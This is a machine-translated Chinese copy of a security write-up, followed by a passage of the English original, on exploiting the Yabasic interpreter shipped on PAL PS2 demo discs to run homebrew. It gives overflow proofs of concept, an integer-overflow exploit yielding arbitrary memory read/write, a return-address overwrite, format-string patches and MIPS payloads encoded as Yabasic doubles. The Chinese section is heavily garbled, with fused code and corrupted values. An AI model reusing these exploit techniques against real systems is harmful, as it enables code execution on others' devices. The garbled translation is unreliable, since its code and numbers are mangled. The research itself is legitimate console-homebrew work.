用Yabasic攻击PS2.

释放双眼,带上耳机,听听看~!

Hacking The PS2 With Yabasic,用Yabasic破解PS2,

白皮书讨论了用Yabasic破解索尼Playstation 2。

;“用Yabasic破解PS2”;“简介”我最近偶然发现了一张PS2演示光盘,里面有一个简单的Basic解释器Yabasic,很想研究它是否可以用于任何有趣的事情。这些[演示光盘](https://wiki.pcsx2.net/demo_Disc)作为[尝试](https://www.theregister.co.uk/2000/11/07/sony_adds_basic_to_playstation/)在2000-2003年间随所有PAL地区PS2控制台一起提供,将PS2归类为个人计算机,而不是出于税务原因(这是[最终](https://www.theguardian.com/technology/2003/oct/01/business.games)失败了,但是现在视频游戏机不再需要缴纳进口税。特别是,尽管存在PS2控制台上运行自制程序的方法,但它们都不完美,因为它们似乎都有不希望的要求,比如打开控制台或购买非官方硬件,或者仅限于特定的模型。最理想的方法是使用[FreeMCBoot](https://github.com/TnA-Plastic/FreeMCBoot)从存储卡引导,但是将其安装到所述存储卡上需要一个已经被入侵的控制台。虽然您可以购买一张存储卡,上面有其他人预先安装的FreeMCBoot,但最好有一种方法可以自己安装漏洞。在这里,我看到一个Yabasic漏洞非常适合作为启动FreeMCBoot安装程序的入口点。此外,一个Yabasic漏洞对于拥有最新的slim控制台(不易受FreeMCBoot攻击)的用户可能很有用。在本文中,我将描述如何开发一个允许通过Yabasic运行任意代码的漏洞。由于这些程序可以从存储卡中保存和加载,因此只需键入一次漏洞,以后就可以更方便地重新加载。如果您只是对使用漏洞而不是技术分析感兴趣,可以[签出存储库](https://github.com/ctart/PS2-Yabasic-exploit)了解详细信息。##在本文中,我将分析PBPX-95205,但是Yabasic的所有版本都是易受攻击的(唯一的区别是找到正确的地址)。###我使用[PS2插件](https://github.com/beardypig/ghidra-emotionengine)对ghidra进行了反汇编和反编译。我使用[PCSX2]模拟器(https://github.com/PCSX2/PCSX2)和允许USB设备(存储和键盘)的[plugin](https://github.com/jackun/USBqemu-wheel/releases)进行调试。###源代码Yabasic是[开源](http://www.Yabasic.de/),但最旧的版本仍然可用,它是[2.77.1](https://github.com/marcIhm/Yabasic/releases/tag/2.77.1),发布于[2016年底](http://www.Yabasic.de/content\u log.html)。一开始这看起来有很大的不同,但实际上这个项目已经休眠了9年,所以在PS2版本和2.77.1之间只有一些bug修复。虽然列出的一些错误修复可能很有趣,例如“split()和token()函数的错误已经修复,在某些情况下会导致coredumps。”,但我决定只查找自己的错误,而不是寻找这些错误的根本原因。##由于Yabasic不打算成为现代PC上的安全边界(您只需使用[system](http://www.Yabasic.de/Yabasic.htm#ref_system)来执行任意命令),因此以前对代码库的安全审查并不多。###dotify有一个缓冲区溢出[2009年报告](https://bugs.launchpad.net/ubuntu/+source/yabasic/+bug/424602),[2016年修复](https://github.com/marcIhm/yabasic/commit/bb5994214f738290e03d111faaeedcd70e92c885)。这个问题的PoC相当直接:`x=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa确实很脆弱,这意味着我们可以在“0x3eb0c8”处溢出200字节的缓冲区。不幸的是,相邻的内存看起来大多是“0”,并且溢出的内存似乎没有立即执行任何操作。使用反汇编程序进行的进一步分析表明,它只是存储了一些其他字符串,而且似乎腐败对利用漏洞并不是很有用。###create_subr_link The[第一个](https://github.com/marcIhm/yabasic/issues/32)我发现的漏洞是另一个缓冲区溢出,与上面类似,但发生在堆栈缓冲区上,而不是静态缓冲区:``` void create_subr_link(char*label)/*create link to subroutine*/{char global[200];char*dot;struct command*cmd;if(!inlib){error(sDEBUG,“not in library,will not create link to subroutine”);return;}dot=strhr(label,'.');strcpy(global,library_stack[include_depth-1]>short_name);strcat(global,dot);```这可以通过导出库中具有长名称的函数来触发:`crash.yab`:`import crashlib``crashlib.yab`:export suba、 从那以后不支持库。###dim The[second](https://github.com/marcIhm/yabasic/issues/33)我发现的漏洞是在计算数组大小时出现整数溢出。Yabasic支持使用“dim”命令声明最多10个维度数组,唯一的限制是每个维度长度必须大于0。分配大小是通过向所有维度添加1来计算的,将它们相乘,然后乘以类型的大小,其中数组可以保存“char*”或“double”:`` void dim(struct command*cmd)/*为数组获取空间*/{。。。对于(i=0;i个参数;i++){nbounds[i]=1+(int)pop(stNUMBER)->个值;if(nbounds[i]<=1)=”{=“sprintf=”(string,=”array=”index=”%d=”is=”less=”或=”equal=”zero“,=”cmd-=”>个参数-i);错误(error,string);返回;}。。。} ... /*为(i=0;i维度;i++){(nar->bounds)[i]=nbounds[i];ntotal*=nbounds[i];}esize=(nar->type=='s')计算所需内存*/ntotal=1?size of(char*):sizeof(double);/*一个数组元素的大小*/nar->pointer=my_malloc(ntotal*esize);``在最新的Yabasic发行版中'my_malloc'也将'sizeof(In t)`添加到最终大小,但在PS2版本中没有。该漏洞很明显;在将维度相乘时不检查整数溢出,或者乘以类型大小。PoC很简单,我们只请求一个维数为0x20000000的数组,大小计算`(0x20000000+1)*8`将溢出到只有'8'字节。请注意,由于PS2 Yabasic不支持带有“x”表示法的十六进制数,我们将不得不通过“dec(“20000000”)”对它们进行解码,或者只使用十进制表示法“536870912”:“dim x(536870912)”,当用“0x 20000000”`0.0```````/*initialize Array*/for(i=0;itype='s'){nul=my廑malloc(sizeof(char));*nul='\0';((char**)nar->pointer)[i]=nul;}否则{((double*)nar->pointer)[i]=0.0;}```````利用'dim',虽然看起来可能还不太像,但'dim'漏洞给了我们最多的控制权,因此我们将继续前进。###使dim bright上面的崩溃不是很有用;让我们看看是否可以控制内容而不是只写“0.0”,或者可以防止初始化打开。“DIM”命令也可以用来调整现有的数组(它只能生长,而不是缩小),所以我的第一个想法是声明一个正常的数组,然后将它调整为无效大小,但是这并不能真正解决这个问题,因为在复制发生之前,它仍然会在“0”初始化时崩溃:“/*初始化数组*/Of(i=0;i<n总数;=)”。ind);j=ind_to_off(ind,nar->界限);如果(nar->type=='s'){my_free(((char**)nar->pointer)[j]=((char**)oar->pointer)[i];}否则{((double*)nar->pointer)[j]=((double*)oar->pointer)[i];}my_free(oar->pointer);my_free(oar);}``然后我意识到了一些神奇的东西,`i'和'ntotal'都是有符号整数,因此,上面的初始化循环条件将使用有符号比较。虽然我们不能直接创建一个负维数的数组,但我们可以创建一个负维数乘积的数组。在下面的PoC中,我们创建一个数组,其“ntotal”是一个负整数(2*0x 40000000=0x8000000),但其实际缓冲区大小(0x8000000*8+allocationSize)将溢出到“allocationSize”,其中“allocationSize”可以是“16”的任意倍数:allocationSize=16 dim x(2-1,dec(“40000000”)+(allocationSize/8)/2-1)创建此数组时不会发生初始化(由于已签名的初始化检查),因此不会立即崩溃,我们可以使用该数组访问越界内存:对于i=0到256 print x(0,i),接下来,我们还可以从负索引访问元素;例如,要访问缓冲区前面的'8'字节,我们将使用索引'0xfffffff8/8=536870911'。考虑到这一点,我们可以对整个虚拟地址空间(相对于缓冲区)进行任意读/写。###相对于绝对读/写,在使用漏洞执行任何损坏之前,我们需要知道如何访问相对于缓冲区的任意内存地址;为此,我们只需要知道数组缓冲区的分配位置。我们可以通过断开'0x12cb0c'并检查'v0':0012cb04 jal my_malloc 0012cb08_mult a0,s0,a0 0012cb0c beq s3,zero,LAB_0012cb44来检查数组缓冲区的分配位置,因为我们的数组缓冲区将在运行时分配,在程序解析之后,它的地址将根据我们的程序包含多少命令而不同。特别是,我注意到每个数组赋值命令都分配“0x240”字节,所以如果我们有一个程序分配受害数组,然后执行一系列“n”数组写入,我注意到数组缓冲区可以计算为“0xCD7B70+n*0x240”。因此,如果我们想创建一个只写一个内存地址的程序,我们的数组缓冲区将位于“0xCD7B70+1*0x240=0xCD7DB0”,并且要写地址“a”,我们将把数组索引计算为“((a-0xCD7DB0)mod 0x100000000)/8”。###使用任意读/写劫持控制流,让我们转到劫持控制流。这个明显的损坏目标是堆栈上的返回地址。当我们执行数组赋值时,Yabasic中负责的代码是函数doarray。在PS2可执行文件中,实际的内存分配发生在地址“0x12d318”处,然后此函数跳转到“0x12d3b8”处的返回地址:“0012d318 sll v0,s3,0x3 0012d31c ld v1,0x10(s5)0012d320 addu v0,a1,v0 0012d324 beq zero,zero,LAB d390 0012d328ĩsd v1,0x0(v0)LAB d390:0012d390 ld ra,局部U 10(sp)0012d394 ld s8,局部U 20(sp)0012d398 ld s7,局部U 30(sp)0012d39c ld s6,局部U 40(sp)0012d3a0 ld s5,局部U 50(sp)0012d3a4 ld s4,局部U 60(sp)0012d3a8 ld s3,局部U 70(sp)0012d3ac ld s2,局部U 80(sp)0012d3b0 ld s1,局部U 90(sp)0012d3b4 ld s0,0x0(sp)=>local_a0 0012d3b8 jr ra``堆栈位于'0x1ffeac0',ret的偏移量urn地址是“0x90”,因此我们希望从索引写入数组,该索引将损坏“0x1ffeac0+0x90”。如前所述,对于单次分配的程序,数组缓冲区将分配在“0xcd7db0”处,因此,要写入返回地址,我们需要偏移量`(0x1ffeac0+0x90-0xcd7db0)/8=2510260`。让我们写一个“double”值“1.288230067079646e-231”,它编码为“0x10000000414141”:dim x(11073741824)x(02510260)=1.288230067079646e-231这个PoC很酷,因为它跳转到了一个无效地址,这碰巧也会使模拟器PCSX2崩溃,所以它的价格是1:(16b0.2378):访问冲突-代码c000005(!!! 第二次机会!!!) ***警告:无法验证C:\程序文件(x86)\ PCSX2 1.4.0\PCSX2.exe的校验和***错误:找不到符号文件。默认为导出C:程序文件(x86)的符号PCSX2 1.4.0\PCSX2.exe-eax=00004141 ebx=41414141 ecx=bebf0000 edx=19e1b3b8 esi=41414141 edi=00e280e0 eip=02b93016 esp=073af6f0 ebp=073af6f8 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 PCSX2!AmdPowerXpressRequestHighPerformance+0x1abfc0e:02b93016 ff2419 jmp dword ptr[ecx+ebx]ds:002b:00004141=????????不久前,我还意外地发现了一个[N64模拟器中的堆栈缓冲区溢出](https://twitter.com/CTurtE/status/112661566356883456)。有趣的是,视频游戏控制台仿真器的安全性通常很差,以至于您很容易意外地发现这样的漏洞。###当我说我们对整个地址空间进行任意读/写时,出现了双重问题,我并不完全准确。我们可以访问地址空间中的任何8字节,但只能作为“double”访问。当通过“double”数组读取或写入内存时,我们需要通过IEEE 754编码来回转换以访问“native”内存,就像在JavaScript引擎中0天内使用较小的“Float64”类型数组一样。第一个限制是,我们不能在设置了所有指数位的情况下创建有效的“double”。这意味着,如果我们试图以“0x7ff”或“0xfff”开头写入8字节的十六进制数据,则其余数据都将是“0”(“inf”)或“800…”(“nan”)。下面的程序通过显示2个完全指数的“double”编码为相同的值来演示这一点;输出为“inf inf 1”。print 8.991e308 print 8.992e308 print 8.991e308=8.992e308一个更大的问题是,PS2版本的Yabasic似乎在某个点后将double向下舍入为0,下面的print在实践中是6.6e-308,0:`print 6.6e-308,,“,6.6e-309”,无法用低指数编码任何内容时遇到的最可能问题之一是所有高4字节为“0”的64位数字,例如任何扩展到64位的32位指针0,如“0x0000000041414141”。这就是为什么我必须在上面的控制流劫持PoC中使用地址“0x1000000414141”,这是我们在继续之前需要解决的问题。####在试图破坏数据结构时,写入本机内存无法写入任意值是一个大问题,它对我们可以写入的负载施加了很大的限制。乍一看,我们唯一的解决方案是修补现有代码来解决这个问题,我真的不想求助于它,因为它会带来高速缓存一致性问题,我们无法在仿真器中进行调试。但是,在设置了一些内存断点之后,我很快找到了解析“double”的Yabasic源代码,并意识到这是一个“sscanf”调用,这意味着只要更改传递给参数2的数据,就可以影响它的行为:```case 200:YY戡RULE戡u SETUP{{double d;sscanf(yytext,“%lg”&d);yylval.fnum=d;return tFNUM;}}``通过一些逆向工程,我发现在PS2版本中,`sscanf`位于`0x146618`,对'sscanf'的调用位于`0x136fcc`,`%lg`字符串位于`0x3e29b8`。如果我们用本机数字的格式说明符替换“double”格式说明符,我们将能够直接写入本机内存。让我们试试`%lu`(`%lx`不会很好地工作,因为如果包含数字中的字母字符)。我们可以使用的十六进制中“%lu”的表示形式是“0x41414100756c25”,而“double”中的表示形式是“2261634.0035834485”。下面的PoC覆盖了用于解析double的`%lg`格式,使用这个`%lu`表示:```dim x(1073742847)`;0x3e29b8`%lg“->”%lu“x(05355696769)=2261634.0035834485```有了这个补丁,以后运行的任何程序都将使用新格式。不幸的是,如果我们依赖于此,这意味着我们需要运行两个程序来利用漏洞,而不是一次成功,因为所有的“double”解析都是在执行赋值之前进行的。Yabasic确实支持使用[`compile`](http://www.Yabasic.de/Yabasic.htm#ref#u compile)生成动态代码,但PS2版本不支持此功能。####在不需要读取本机内存的情况下,如果只是写入和执行有效负载,那么在开发利用漏洞时也可以出于调试目的读取本机内存。就像我们编写本机内存的补丁一样,我们的目标是修补一个格式说明符,而不是代码本身,以防止缓存一致性问题。这一次,我们希望将“double”到字符串的转换替换为本机数字到字符串的转换。在Yabasic中,此转换在这里完成:``case'd':/*打印双精度值*/p=pop(stNUMBER);d=p->value;n=(int)d;if(n==d&&d<=long_max=&=”“d=>=long_MIN){sprintf(string,“%s%ld”,(last==d'):“”,n);}否则{sprintf(字符串,“%s%g”,(最后一个='d'):“”,d);}onestring(string);break;```如您所见,在第一种情况下,它在传递给'sprintf'之前已经转换为整数,因此我们不能通过修补数据来改变这种行为。但是,我们可以攻击函数myformat,它有一个允许修补的格式的白名单:``` if(!strchr(“feEgG”,c1)| | form[i]){return FALSE;}/*似乎没问题,让我们打印*/sprintf(dest,form at,num);```在PS2可执行文件中,这个`“feEgG”字符串位于`0x3e2710`。如果我们将其修补到“feEgGx”,我们可以使用格式“0.8x”读取十六进制本机内存:````在此之前运行%lg->%lu补丁!dim x(11073741824)#0x3e2710“feEgG”->“feEgGx”x(05355696684)=132248070612326.0```执行上述补丁后,我们可以打开另一个窗口作为“调试器”,并打印32位十六进制值。下面的PoC将内存打印到'0x480000',这是一个未使用的区域,我选择将调试输出从我的有效负载中写入:dim x(11073741824)print x(053577310)使用%0.8x#ා#任意代码执行和不受限制的任意写入,我们可以开始测试任意代码执行!对于第一个PoC,我们只需将损坏的返回地址的地址写入未使用的内存地址“0x480000”,然后优雅地返回,以便在“调试器”窗口中检查它。为此,我们可以跳回原始返回地址“0x123428”。不过,还需要还原堆栈指针(`-=0xa0`),这样我们就可以跳回到“0x12d394”的原始函数尾声,并再次还原所有被调用方保存的寄存器,因为这样我们就可以在有效负载中自由使用所有寄存器:.set noreorder;如果我们正在编写程序集,为什么要这样做。全局启动:li$s0,0x480000 sw$v0,($s0)。全局返回:li$ra,0x123428 add$s0,$ra,(0x12d394-0x123428)jr$s0 sub$sp,0xa0编译此负载:ee gcc payload.s-o payload.elf-nostartfiles-nostdlib ee objcopy-o binary payload.elf payload.bin,然后通过[此程序](https://github.com/ctart/PS2 Yabasic Exploit/tree/master/maker.c)运行它,将负载转换为Yabasic Exploit,我们将获得以下信息。请注意,我们通过未缓存的虚拟地址写入并跳转到代码,以避免缓存一致性问题(例如:`0x20CD7B70`而不是`0xCD7B70`)。```#在此之前运行%lg->%lu修补程序!尺寸x(11073741825)x(067108864)=12538584313560563784.0 x(067108865)=4035001138559254546.0 x(067108866)=27964527673511788.0 x(067108867)=2575495349741289480.0 x(02509972)=550340272.0``运行后,我们可以切换到“调试器”窗口并打印调试值呃。这将像我们预期的那样打印“01ffeb50”,这表明我们现在有了运行任意代码并检查结果的方法!在编写更复杂的有效负载时,请记住,在条目`$ra'中包含我们跳转到的地址,因此指向有效负载的未缓存地址,但还要注意,在条目`$a1'中指向缓冲区的开头,所以这是有效负载的缓存地址。知道了这一点,我们就可以引用与这些寄存器相关的代码和数据来实现位置无关的代码。##使用有效负载中的字符串现在我们可以利用Yabasic运行任意本机代码,我们需要编写一个有效负载,它可以从受控源(USB、HDD、ethernet、ilik、刻录的光盘)加载ELF。虽然对有效载荷的大小没有严格的限制,但最好是尽可能小,以防止需要输入太多。由于这方面有很多有趣的创造性解决方案,因此我将在本文中不再讨论它们,以免分散本文的重点。我将在后台处理其中的一些字符串,并最终将它们上传到存储库中—希望通过发布本文,我可以吸引一些开源社区的兴趣来贡献于此:)然而,为了提供一个稍微有趣的负载来测试,并演示如何引用字符串,让我们尝试引导在同一张光盘上可以访问的许多其他演示之一。对于PBPX-95205,我们有一个FIFA 2001演示,我们可以尝试引导(`cdrom0:\FIFA demo\GAMEZ.ELF`)。为此,我们将调用“LoadExecPS2”系统调用(编号6),它允许您轻松指定可执行路径。记住我们希望保持负载尽可能小,我们可以违反调用约定,将“argv”(`$a2`)保持为未初始化状态,因为参数计数(`$a1`)为“0”,即使这在技术上是不正确的:.global\u start\u start:addu$a0,$a1,4*4 li$a1,0 li$v1,6 syscall.asciiz“cdrom0:\\FIFADEMO\\GAMEZ.ELF”在工作时,我们可以利用在Yabasic中存储字符串这一事实,使有效负载更易于键入。创建一个对应的“boot fifa.string”文件,然后我们可以引用有效负载地址减去“0x2e0”后的字符串数据:.global“start”:sub$a0,$a1,0x2e0“指向缓存的s$li$a1,0 li$v1,6 syscall“LoadExecPS2这会产生以下结果,很快就可以键入:`````运行%lg->%lu补丁!dim x(11073741824)x(067108864)=2595480760796642592.0 x(067108865)=52143783942.0 x(02510080)=550339408.0 s$=“cdrom0:\FIFADEMO\GAMEZ.ELF”````` `###移植到其他演示光盘之前,所有分析都在PBPX-95205上完成,但索尼还提供了3个包含Yabasic的其他[演示光盘](https://wiki.pcsx2.net/demoŧDisc),具有唯一的序列号。PBPX-95204与PBPX-95205具有完全相同的“YABASIC.ELF”,但是PBPX-95506具有不同的版本,我已经[将此漏洞移植到](https://github.com/ctart/PS2 YABASIC exploit/)。很遗憾,我在易趣上找不到一张PBPX-95520光盘,因此我无法连接到此演示光盘,但为了完整起见,如果有人阅读了此光盘,请考虑联系。请注意,有多个“版本”的演示光盘具有相同的序列号,例如打印有旧“PS2”徽标的PBPX-95204和带有更新光盘设计的PBPX-95204,但据我所知,所有具有相同序列号的演示光盘上都有相同的可执行文件。PBPX-95205特别有趣,因为有一个版本打印在蓝色CD上(看起来像[这个](https://i.ytimg.com/vi/il7rkXlc0wI/maxresdefault.jpg)),以及打印在DVD上的版本(看起来像[这个](https://ia800608.us.archive.org/4/items/Playstation U2 U2 Udemo Upbpx-95205 Usony/Playstation%202%20Demo%20Disc%20%28PBPX-95205%29%28Sony%29.png))。##结论现在,像JavaScript这样的语言脚本引擎通常是现代视频游戏机首先受到攻击的,所以我觉得奇怪的是,由于Yabasic的PS2版本与PAL中的每个控制台捆绑在一起,所以很少受到黑客的关注地区为前3年,且易于转储和分析,特别是基于开源代码。不管怎样,这些光盘现在很容易以便宜的价格买到,所以我希望至少有些人会从使用稍微方便一点的自制方法中受益,而不是打开他们的控制台或购买更昂贵的非官方硬件。不幸的是,NTSC区域从未收到Yabasic端口,但是它们确实有一个不同的Basic解释器“Basic Studio”,我可能会在将来看到它。最后,也许现在Yabasic可以用来执行任意代码,索尼可以说它确实允许PS2被[自由编程](https://www.casemine.com/judgement/uk/5a8ff7bb60d03e7f57eb19db)毕竟,他们可以要求退还进口税:,网络安全教程Hacking The PS2 With Yabasic,

Whitepaper that discusses hacking the Sony Playstation 2 with Yabasic.

,# Hacking the PS2 with Yabasic

* * *

## Introduction

I recently stumbled upon a PS2 demo disc containing Yabasic, a simple Basic interpreter, and was curious to research whether it could be used for anything interesting. These [demo discs](https://wiki.pcsx2.net/Demo_Disc) shipped with all PAL region PS2 consoles between 2000 - 2003 as an [attempt](https://www.theregister.co.uk/2000/11/07/sony_adds_basic_to_playstation/) to classify the PS2 as a personal computer instead of a video game console for tax reasons (which [ultimately](https://www.theguardian.com/technology/2003/oct/01/business.games) failed, however nowadays video game consoles are no longer subject to this import tax).

In particular, although there are existing methods of running homebrew on PS2 consoles, none of them are perfect since they all seem to have undesirable requirements like opening up your console or purchasing unofficial hardware, or are limited to only specific models.

The most desirable method is to use [FreeMCBoot](https://github.com/TnA-Plastic/FreeMcBoot) to boot from a memory card, however installing this onto said memory card requires an already hacked console. Whilst you could purchase a memory card with FreeMCBoot pre-installed on it by someone else, it would be nice to have a way to install the exploit yourself. That's where I see a Yabasic exploit fitting in nicely, as an entry-point for launching the FreeMCBoot installer. In addition, a Yabasic exploit could be useful for people with the latest slim consoles, which are not vulnerable to FreeMCBoot.

In this article I will describe how I developed an exploit that allows running arbitrary code through Yabasic. Since these programs can be saved and loaded from the memory card, the exploit just need to be typed out once, and can then be reloaded more conveniently in the future. If you're just interested in using the exploit but not the technical analysis you can [checkout the repository](https://github.com/CTurt/PS2-Yabasic-Exploit) for details.

## Setup

For the duration of this article, I will be analysing PBPX-95205, but all versions of Yabasic are vulnerable (the only difference will be finding the right addresses).

### Tools

I disassembled and decompiled using the [PS2 plugin](https://github.com/beardypig/ghidra-emotionengine) for Ghidra. I debugged using the [PCSX2](https://github.com/PCSX2/pcsx2) emulator, and a [plugin](https://github.com/jackun/USBqemu-wheel/releases) which allows USB devices (storage and keyboard).

### Source

Yabasic is [open-source](http://www.yabasic.de/), but the oldest version still available is [2.77.1](https://github.com/marcIhm/yabasic/releases/tag/2.77.1), released [late 2016](http://www.yabasic.de/content_log.html). This may seem like a big difference at first, but in reality the project was dormant for 9 years, and so there were only a few bug fixes made during the time between the PS2 release and 2.77.1. Whilst some of those bug fixes listed could be interesting, such as "A bug with the functions split() and token() has been fixed, which caused to coredumps in some cases.", I decided to just look for my own bugs rather than hunting down the root cause of those bugs.

## Bug hunting

Since Yabasic isn't intended to be a security boundary on modern PCs (you can just use [system](http://www.yabasic.de/yabasic.htm#ref_system) to execute arbitrary commands), there haven't been many prior security reviews of the codebase.

### dotify

There was one buffer overflow [reported in 2009](https://bugs.launchpad.net/ubuntu/+source/yabasic/+bug/424602), [fixed in 2016](https://github.com/marcIhm/yabasic/commit/bb5994214f738290e03d111faaeedcd70e92c885).

The PoC for this issue is pretty straight forward:

`x=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`

The `dotify` function is at `0x1240e8` and is indeed vulnerable, meaning we can overflow the 200-byte buffer at `0x3eb0c8`.

Unfortunately, the adjacent memory looks like mostly `0`s, and overflowing into it didn't appear to do anything immediately. Further analysis with disassembler showed that it was just storage for a couple of other strings, and didn't seem like corruption would be very useful for exploitation.

### create_subr_link

The [first](https://github.com/marcIhm/yabasic/issues/32) vulnerability I found was another buffer overflow, similar to the above, but occurs on a stack buffer, rather than a static buffer:

```
void
create_subr_link (char *label) /* create link to subroutine */
{
char global[200];
char *dot;
struct command *cmd;

if (!inlib) {
error(sDEBUG, "not in library, will not create link to subroutine");
return;
}
dot = strchr (label, '.');
strcpy (global, library_stack[include_depth-1]->short_name);
strcat (global, dot);
```

This can be triggered by exporting a function with a long name in a library:

`crash.yab`:

`import crashlib`

`crashlib.yab`:

export sub a.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$()
return "foo"
end sub

I don't believe this one can be triggered on the PS2 since it doesn't support libraries.

### dim

The [second](https://github.com/marcIhm/yabasic/issues/33) vulnerability I found was an integer overflow when calculating the size of an array.

Yabasic supports declaring up to 10-dimensional arrays using the `dim` command, with the only restriction being that each dimension length must be greater than 0. The allocation size is calculated by adding 1 to all dimensions, multiplying them together, and then multiplying by the size of the type, where the arrays can either hold `char *` or `double`:

```
void
dim (struct command *cmd) /* get room for array */
{
...
for (i = 0; i < cmd-="">args; i++) {
nbounds[i] = 1 + (int) pop (stNUMBER)->value;
if (nbounds[i] <= 1)="" {="" sprintf="" (string,="" "array="" index="" %d="" is="" less="" or="" equal="" zero",="" cmd-="">args - i);
error (ERROR, string);
return;
}
...
}
...

/* count needed memory */
ntotal = 1;
for (i = 0; i < nar-="">dimension; i++) {
(nar->bounds)[i] = nbounds[i];
ntotal *= nbounds[i];
}
esize = (nar->type == 's') ? sizeof (char *) : sizeof (double); /* size of one array element */
nar->pointer = my_malloc (ntotal * esize);</=>
```

In the latest Yabasic releases `my_malloc` also adds `sizeof(int)` to the final size, but in the PS2 version it doesn't.

The vulnerability is clear; there's no check for integer overflow when multiplying the dimensions together, or multiplying by the type size. The PoC is simple, we just request an array with dimension `0x20000000`, and the size calculation `(0x20000000 + 1) * 8` will overflow to just `8` bytes. Note that since PS2 Yabasic doesn't support hexadecimal numbers with `0x` notation, we'll have to decode them via `dec("20000000")`, or simply use the decimal representation `536870912`:

`dim x(536870912)`

The code will then crash when initializing the 8-byte buffer with `0x20000000` `0.0`s:

```
/* initialize Array */
for (i = 0; i < ntotal;="" i++)="" {="" if="" (nar-="">type == 's') {
nul = my_malloc (sizeof (char));
*nul = '\0';
((char **) nar->pointer)[i] = nul;
} else {
((double *) nar->pointer)[i] = 0.0;
}
}
```

## Exploiting `dim`

Whilst it may not seem like it yet, the `dim` vulnerability gives us the most control, so it's the one we are going to move forward with.

### Making dim bright

The above crash isn't very useful; let's see if we can control the contents instead of just writing `0.0`, or can prevent initialization.

The `dim` command can also used to resize an existing array (it can only be grown, not shrunk), so my first idea was to declare a normal array and then resize it to invalid size, but this doesn't really solve the problem as it will still crash at initializing with `0.0` before the copy occurs:

```
/* initialize Array */
for (i = 0; i < ntotal;="" i++)="" {="" if="" (nar-="">type == 's') {
nul = my_malloc (sizeof (char));
*nul = '\0';
((char **) nar->pointer)[i] = nul;
} else {
((double *) nar->pointer)[i] = 0.0;
}
}

if (oar) {
/* copy contents of old array onto new */
for (i = 0; i < ototal;="" i++)="" {="" off_to_ind="" (i,="" oar-="">bounds, ind);
j = ind_to_off (ind, nar->bounds);
if (nar->type == 's') {
my_free (((char **) nar->pointer)[j]);
((char **) nar->pointer)[j] = ((char **) oar->pointer)[i];
} else {
((double *) nar->pointer)[j] = ((double *) oar->pointer)[i];
}
}
my_free (oar->pointer);
my_free (oar);
}
```

And then I realized something magical; both `i` and `ntotal` are signed integers, so a signed comparison will be used for the initialization loop condition above.

Whilst we can't directly create an array with a negative dimension, we can create an array with negative product of dimensions. In the below PoC, we create an array whose `ntotal` is a negative integer `(2 * 0x40000000 = 0x80000000)`, but whose actual buffer size `(0x80000000 * 8 + allocationSize)`, will overflow to just `allocationSize`, where `allocationSize` can be an arbitrary multiple of `16`:

allocationSize = 16
dim x(2 - 1, dec("40000000") + (allocationSize / 8) / 2 - 1)

No initialization will occur when creating this array (due to the signed initialization check), so it won't immediately crash and we are free to use the array to access out of bounds memory:

for i = 0 to 256
print x(0, i)
next i

We can also access elements from a negative index; for example, to access the `8` bytes immediately before the buffer we would use index `0xfffffff8 / 8 = 536870911`. With this in mind, we have arbitrary read/write over the entire virtual address space, relative to the buffer.

### Relative to absolute read/write

Before we move onto using the vulnerability to perform any corruption, we need to know how to access arbitrary memory addresses relative to our buffer; for this, we just need to know where our array buffer is allocated.

We can check where our array buffer is allocated by breaking at `0x12cb0c` and examining `v0`:

0012cb04 jal my_malloc
0012cb08 _mult a0 ,s0 ,a0
0012cb0c beq s3 ,zero ,LAB_0012cb44

Since our array buffer will be allocated at runtime, after the program has been parsed, its address will be different depending on how many commands our program contains. In particular, I observed that each array assignment command allocates `0x240` bytes, so if we just have a program which allocates the victim array, and then performs a series of `n` array writes, I observed that the array buffer could be calculated as `0xCD7B70 + n * 0x240`.

So, if we want to create a program which writes to just a single memory address, our array buffer will be located at `0xCD7B70 + 1 * 0x240 = 0xCD7DB0`, and to write to address `a`, we would calculate the array index as `((a - 0xCD7DB0) mod 0x100000000) / 8`.

### Hijacking control flow

With arbitrary read/write, let's move onto hijacking control flow. The obvious corruption target for this is a return address on the stack.

When we perform an array assignment, the code responsible in Yabasic is function `doarray`. In the PS2 executable, the actual memory assignment occurs at address `0x12d318`, and then this function jumps to the return address at `0x12d3b8`:

```
0012d318 sll v0 ,s3 ,0x3
0012d31c ld v1 ,0x10 (s5 )
0012d320 addu v0 ,a1 ,v0
0012d324 beq zero ,zero ,LAB_0012d390
0012d328 _sd v1 ,0x0 (v0 )

LAB_0012d390:
